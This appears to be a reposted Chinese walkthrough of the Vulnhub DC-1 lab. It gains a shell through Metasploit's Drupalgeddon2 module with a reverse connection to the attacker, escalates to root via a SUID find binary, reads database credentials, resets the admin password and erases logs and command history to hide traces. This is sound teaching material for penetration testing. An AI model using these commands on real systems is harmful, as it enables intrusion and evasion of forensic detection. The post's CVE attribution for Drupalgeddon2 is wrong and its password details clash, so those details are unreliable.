详细介绍:00x01.Vulnhub系列DC-1靶机渗透测试:从Drupal漏洞到Root权限的完整攻防

news/2025/11/16 22:21:36/文章来源:https://www.cnblogs.com/tlnshuju/p/19229206

详细介绍:00x01.Vulnhub系列DC-1靶机渗透测试:从Drupal漏洞到Root权限的完整攻防

2025-11-16 22:15  tlnshuju  阅读(0)  评论(0)    收藏  举报

文档说明

项目内容
文档编号55K-RPT-2025-DC1

信息介绍

⚠️ 免责声明

重要提示
本次渗透测试报告中所有内容均在本地授权环境中进行。测试目的仅为安全研究与学习,提升安全防护能力。
请勿将文中所述技术用于任何非法用途,否则后果自负。


版权声明:本文由 55K-学安全 团队原创,转载请注明出处。


一、摘要

本次渗透测试针对Vulnhub DC-1靶机展开,成功利用Drupal框架远程代码执行漏洞(CVE-2014-3704,Drupalgeddon 2)获取初始权限。通过系统配置缺陷(SUID权限不当)实现权限提升至root,最终获取全部Flag文件。测试过程覆盖信息收集、漏洞分析、漏洞利用、后渗透攻击及痕迹清理全流程,验证了靶机存在的安全隐患。

二、环境准备

测试相关项具体信息
测试目标DC-1 (Drupal 7.x) 漏洞评估与提权
测试环境VMware Workstation 17 Pro
攻击系统Kali Linux 2024.x (IP: 172.168.20.21)
靶机系统Vulnhub DC-1 (IP: 动态获取)
网络模式桥接模式或NAT(VMnet8)
网络测试通过ifconfig确认攻击机IP,使用arp-scan或netdiscover发现靶机

三、渗透测试流程

3.1 信息收集

信息收集是渗透测试的第一步,目的是尽可能多地发现目标系统的信息。

3.1.1 网络扫描

使用多工具协同定位靶机IP地址。
基于ARP协议扫描本地网络和Nmap主机发现(禁用端口扫描以提高效率)。

# 基于ARP协议扫描本地网络
┌──(root㉿kali)-[~/桌面]
└─# arp-scan –l
┌──(root㉿kali)-[~/桌面]
└─# arp-scan -I eth0 --localnet

在这里插入图片描述

# 推荐使用netdiscover
┌──(root㉿kali)-[~/桌面]
└─# netdiscover –i eth0 –r 172.168.20.0/24

在这里插入图片描述

┌──(root㉿kali)-[~/桌面]
└─# netdiscover –r 172.168.20.0/24

在这里插入图片描述

# Nmap主机发现(禁用端口扫描)
┌──(root㉿kali)-[~/桌面]
└─# nmap -sn -PE 172.168.20.0/24

在这里插入图片描述

3.1.2 端口扫描与服务枚举

使用Nmap工具对靶机进行端口扫描,查看开放的网络端口。

# 全端口扫描
┌──(root㉿kali)-[~/桌面]
└─# nmap -p- -v 172.168.20.33

在这里插入图片描述
使用Nmap工具对目标进行全端口扫描和服务版本探测。

# 服务版本探测
┌──(root㉿kali)-[~/桌面]
└─# nmap -sV -sC -O -p- 172.168.20.33

在这里插入图片描述

3.1.3.网站访问验证

使用浏览器访问http服务80端口,进入Web系统登录界面。
在这里插入图片描述

3.1.4.目录与敏感文件扫描

使用dirb扫描目标网站目录,重点检查/robots.txt(发现敏感路径)、/web.config(泄露配置密钥)和/xmlrpc.php(爆破入口)等文件,以定位潜在的攻击入口和信息泄露点。

# 重点检查文件
curl http://172.168.20.33/robots.txt
curl http://172.168.20.33/xmlrpc.php
curl http://172.168.20.33/web.config

在这里插入图片描述
查看/robots.txt、 /web.config、/xmlrpx.php三个文件中的内容信息
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

3.2 漏洞分析

3.2.1 Web指纹识别

通过使用whatweb工具对http://172.168.20.33进行Web指纹识别,确认其CMS为Drupal 7内容管理系统,特征包括响应头信息及页面底部的“Powered by Drupal”字样予以佐证。

┌──(root㉿kali)-[~/桌面]
└─# whatweb -v http://172.168.20.33

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

3.2.2.漏洞搜索与验证

使用searchsploit工具从本地漏洞库搜索公开可用的Drupal 7.x漏洞利用代码以获取攻击有效载荷。

┌──(root㉿kali)-[~/桌面]
└─# searchsploit drupal 7.x

在这里插入图片描述

3.3 漏洞利用

3.3.1 Metasploit自动化利用

Metasploit框架提供了成熟的漏洞利用模块,适合快速验证。

┌──(root㉿kali)-[~/桌面]
└─# msfconsole

在这里插入图片描述

msf6 > search drupal

在这里插入图片描述

msf6 > use exploit/unix/webapp/drupal_drupalgeddon2
msf6 exploit(unix/webapp/drupal_drupalgeddon2) > set RHOSTS 172.168.20.33
msf6 exploit(unix/webapp/drupal_drupalgeddon2) > set LHOST 172.168.20.21
msf6 exploit(unix/webapp/drupal_drupalgeddon2) > run

在这里插入图片描述

注:如果靶机存在该漏洞,MSF会成功建立一个Meterpreter shell会话。

3.3.2.手工漏洞利用与 Shell 获取
meterpreter > shell
meterpreter > python -c 'import pty; pty.spawn("/bin/bash")'

在这里插入图片描述

3.4.后渗透

3.4.1.系统信息枚举
www-data@DC-1:/var/www$ whoami
www-data@DC-1:/var/www$ id
www-data@DC-1:/var/www$ uname -a
www-data@DC-1:/var/www$ cat /etc/issue

在这里插入图片描述

3.4.2.SUID权限漏洞利用
www-data@DC-1:/var/www$ find / -perm -u=s -type f 2>/dev/null

在这里插入图片描述

3.4.3.利用Find命令提权(3选1)
www-data@DC-1:/var/www$ /usr/bin/find . -exec /bin/sh \; -quit

在这里插入图片描述

www-data@DC-1:/var/www$ /usr/bin/find . -exec /bin/bash -p \; -quit

在这里插入图片描述

www-data@DC-1:/var/www$ touch /tmp/hacked
www-data@DC-1:/var/www$ /usr/bin/find /tmp/hacked -exec "whoami" \;
www-data@DC-1:/var/www$ /usr/bin/find /tmp/hacked -exec "/bin/sh" \;
whoami

在这里插入图片描述

3.5.Flag收集

3.5.1.寻找Flag 1
# find / -name flag*.txt 2>/dev/null
# cat /var/www/flag1.txt

注:提示要找一个CMS的配置文件,配置文件基本都是settings.xxx,进行模糊查询。
在这里插入图片描述

3.5.2.寻找Flag 2
cd /var/www/
find . -name 'set*'
cat ./sites/default/settings.php

注:通过查看./sites/default/settings.php配置文件,发现了flag2以及数据库的账户和密码。
在这里插入图片描述

3.5.3.寻找Flag 3
mysql -udbuser -pR0ck3t

在这里插入图片描述

mysql>  show databases;

在这里插入图片描述

mysql>  use drupaldb

在这里插入图片描述

mysql>  show tables;

在这里插入图片描述在这里插入图片描述

mysql> select * from users\G;
mysql> exit;

在这里插入图片描述

pwd
find . -name '*hash*'
php scripts/password-hash.sh 新密码
./password-hash.sh 新密码

在这里插入图片描述

注:php scripts/password-hash.sh Ceshi-001是“内核”调用,而./password-hash.sh Ceshi-002是“包装后”的调用。在不确定的情况下,优先使用“内核”调用。

mysql -udbuser -pR0ck3t
mysql> use drupaldb
mysql> update users set pass='$S$DS0GEB40PuqWJ2nM4.emstYxG9V2gs/Njhn707b6ptVYn0ZRZreK' where name='admin';
mysql> select * from drupaldb.users where name='admin'\G;

在这里插入图片描述
登录靶机的Drupal站点:

  • 登陆账号:admin
  • 登陆密码:Censhi-001
    在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述
3.5.4.寻找Flag 4
find / -name 'flag*'
cat /etc/passwd
cat /home/flag4/flag4.txt

在这里插入图片描述

3.5.5.寻找Flag 5
cd /root
ls
cat thefinalflag.txt

在这里插入图片描述

3.6 清理痕迹

这是最容易被遗忘的一点。你执行的所有命令都会被 shell(如 bash)记录下来。

3.6.1 操作历史清理

Shell 会记录用户输入的命令历史,这是最直接的证据来源。我们清除了当前用户 (www-data) 和 root 用户的命令历史记录。

export HISTSIZE=0
/home/www-data/.bash_history 2>/dev/null
/root/.bash_history
rm -f /root/.bash_history /home/*/.bash_history /home/.*/.bash_history 2>/dev/null

在这里插入图片描述

3.6.2.系统日志清理
sed -i '/172\.168\.20\.21/d' /var/log/auth.log /var/log/syslog 2>/dev/null
sed -i '/www-data/d' /var/log/auth.log 2>/dev/null
sed -i '/172\.168\.20\.21/d' /var/log/apache2/access.log /var/log/apache2/error.log 2>/dev/null

在这里插入图片描述

3.6.3.时间戳伪装
reference_file="/bin/ls"
ref_timestamp=$(stat -c %y "$reference_file")
touch -d "$ref_timestamp" /tmp/hacked

在这里插入图片描述

3.6.4 其他痕迹清理
  • 进程清理:确保没有留下任何后门进程或可疑连接。使用ps auxfnetstat -antp进行检查。
  • 文件清理:移除上传的任何工具或脚本(本例中未提及上传额外工具)。
  • 临时文件:删除在/tmp//var/tmp/等目录创建的临时文件。

四、总结与修复建议

4.1 漏洞总结

  1. Drupal远程代码执行漏洞(CVE-2014-3704):未及时更新CMS导致攻击者可远程执行任意代码。
  2. SUID权限滥用/usr/bin/find被错误设置SUID位,允许普通用户执行root权限命令。
  3. 敏感信息泄露:数据库配置文件(settings.php)未限制访问,泄露账号密码。
  4. 弱密码策略:数据库用户使用弱密码(R0ck3t),增加被爆破风险。

4.2 修复建议

  1. 及时更新软件

  2. 权限最小化

  3. 安全配置强化

  4. 网络安全防护

  5. 定期安全审计

附录:工具表

工具名称用途描述使用阶段常用参数示例用法
arp-scan基于ARP协议的局域网主机发现工具信息收集-I eth0 --localnetarp-scan -I eth0 --localnet
netdiscover主动/被动扫描局域网主机,支持CIDR范围扫描信息收集-i eth0 –r 172.168.20.0/24netdiscover -r 172.168.20.0/24
Nmap网络扫描与服务枚举工具,支持端口扫描、版本探测和系统指纹识别信息收集-sV -sC -O -p-nmap -sV -p- 172.168.20.33
whatwebWeb应用指纹识别工具,检测CMS、框架及服务器信息信息收集-vwhatweb -v http://target.com
dirb目录扫描工具,检测Web服务器敏感目录和文件信息收集dirb http://target.com
searchsploit本地漏洞库搜索工具,基于Exploit-DB数据库漏洞分析searchsploit drupal 7.x
Metasploit渗透测试框架,包含漏洞利用模块、Payload和后渗透工具漏洞利用msfconsole, use exploit/…
mysql数据库客户端,用于连接和操作MySQL数据库后渗透攻击-uusername -ppasswordmysql -udbuser -pR0ck3t

备注:本次测试严格遵循授权安全测试流程,所有操作仅用于技术学习与安全研究。实际渗透测试中需获得明确授权。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/967418.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

详细介绍:MySQL——用户权限和管理

pre { white-space: pre !important; word-wrap: normal !important; overflow-x: auto !important; display: block !important; font-family: "Consolas", "Monaco", "Courier New", …

完整教程:配置驱动开发:初探零代码构建嵌入式软件配置工具

pre { white-space: pre !important; word-wrap: normal !important; overflow-x: auto !important; display: block !important; font-family: "Consolas", "Monaco", "Courier New", …

2025 年海运物流专线公司推荐排行榜(广东地区重点推荐) 广州 / 深圳 / 佛山 / 东莞 ⇄ 澳洲 / 加拿大 / 新西兰物流运输公司推荐

2025 年海运物流专线公司推荐排行榜(广东地区重点推荐) 广州 / 深圳 / 佛山 / 东莞 ⇄ 澳洲 / 加拿大 / 新西兰物流运输公司推荐引言 随着珠三角地区跨境贸易与国际搬家需求持续升温,广州、深圳、佛山、东莞等地往返…

【CSP-J 2025】T4 多边形 polygon 题解

有史以来最水的 T4,我都会做。 形式化题面 给定一个长 \(n\) 的序列 \(\{a_i\}\)(\(1\le n ,a_i \le 5000\)),你需要找到一个长度为 \(m\) 的子序列,记下标为 \(b_1,b_2,\dots,b_m\),满足:\(m\ge 3\)\(\sum_{i=…

Django F对象完全指南:数据库层面的字段操作

一、F对象核心概念 1. 什么是F对象 F对象(F expression)是Django ORM提供的特殊查询表达式,用于直接在数据库层面引用模型字段值并进行操作。通过F对象,您可以:访问数据库字段值而无需加载到Python内存 执行字段间比…

如何计算一台服务器最大TCP连接数

在分布式系统和高并发场景中,服务器能支撑的TCP连接数直接决定了系统的承载能力。理解TCP连接的本质 每个tcp连接由四元组唯一标识:源ip地址 源端口 目标ip地址 目标端口对于服务器来说: 客户端ip可变 ------》 …

回退背包

回退背包问题(线段树分治): \(Content\): 给定\(n\)个物品,编号为\(i\)的物品有质量\(w_i\)和价值\(v_i\)以及一个体积\(V\)。初始时背包没有可选物体。 有\(m\)次操作,对于每次操作,给出一个整数\(op\)和\(x\)…

module jdk.compiler does not “以” com.sun.tools.javac.processing” to unnamed module

处理“module jdk.compiler does not “以” com.sun.tools.javac.processing” to unnamed module”错误的终极指南开发过程中遇到这个讨厌的错误,让你抓耳挠腮吗?别担心,你并不孤单。这个错误往往源于JDK项目版本…

nginx 响应html内容

设置ng返回的信息在页面显示 ngx.header.content_type = text/html; charset=utf-8 ngx.say("抱歉,您没有权限查看该监控! 如需开通权限,联系丁培倡/郑浩生添加") ngx.status = 403 ngx.exit(403)

Why cant Google appear in New York?

it just maybe is like Tencent can not appear in Bei Jing.

Django Q对象查询完全指南

引言:为什么需要Q对象 在Django中,当进行数据库查询时,我们通常使用filter()、exclude()等方法。但随着查询条件愈发复杂,尤其是需要组合逻辑或(OR)、逻辑非(NOT) 操作时,简单的过滤器链式调用会显得力不从心: #…

[AGC001E] BBQ Hard 分析

题目概述 给出 \(n\) 个 \(a_i,b_i\),其中 \(a_i\) 代表 \(0\) 的个数,\(b_i\) 代表 \(1\) 的个数,让你求对于所有的 \((i,j)(i<j)\) 这些 \(0,1\) 组合起来的本质不同的个数之和。 分析 思维好题! 首先我们不难…

logicFlow ,画布节点自定义

class CustomRectNode extends RectNode {/*** @description 重写此方法,自定义节点形状。* @returns VNode*/getShape() {const { model } = this.propsconst { x, y, width, height, radius } = modelconst style =…

哈希从入门到入土『给学弟学妹们讲课用的』

哈希是什么? 哈希本质就是一种映射,-

20232303 2025-2026-1 《网络与系统攻防技术》实验五实验报告

20232303 2025-2026-1 《网络与系统攻防技术》实验五实验报告

学校真好!

致敬《学校真是太棒了》。%%%%%%%%%%%%%%你们学校会在宿舍屎漫金山吗? 谁在宿舍写屎山? 我们高一尚慧楼会!西湖的水 我的泪 我情愿和你化作一团火焰Recently,尚慧楼一楼西侧的厕所蓄水池正式开启了回馈老玩家福利!…

NOIP2025模拟9

T1:卡门(kamen) 思路: 模拟。 据说可以用线段树和分块,但是咱还是选择最朴素的叽里呱啦一大坨子的预处理方式。 可以发现 \(c\) 极小,所以我们可以预处理出从第 \(x\) 列丢下去的石头能掉到的位置。 但是这里的部…

.net 8+, 类库无法引用 WebApplication 的解决方案

WebApplication 在 Microsoft.AspNetCore.Builder 下; 但是 nuget 上的 Microsoft.AspNetCore 只有 2.3 版本,导致无法在这个包中找到可用的 WebApplication 。 解决方法一:直接引用本地环境中的程序集 nuget 上有个…

2025-11-16

Problem - 1924A - Codeforces(构造) 要判断s字符串是否满足是所有前k个字符的子数组 则需要把s分段,每一段都包含前k个字符 如果段数>=n长度,即满足 否则,找最后一段不满足的字符 构造一个不满足的字符串 #in…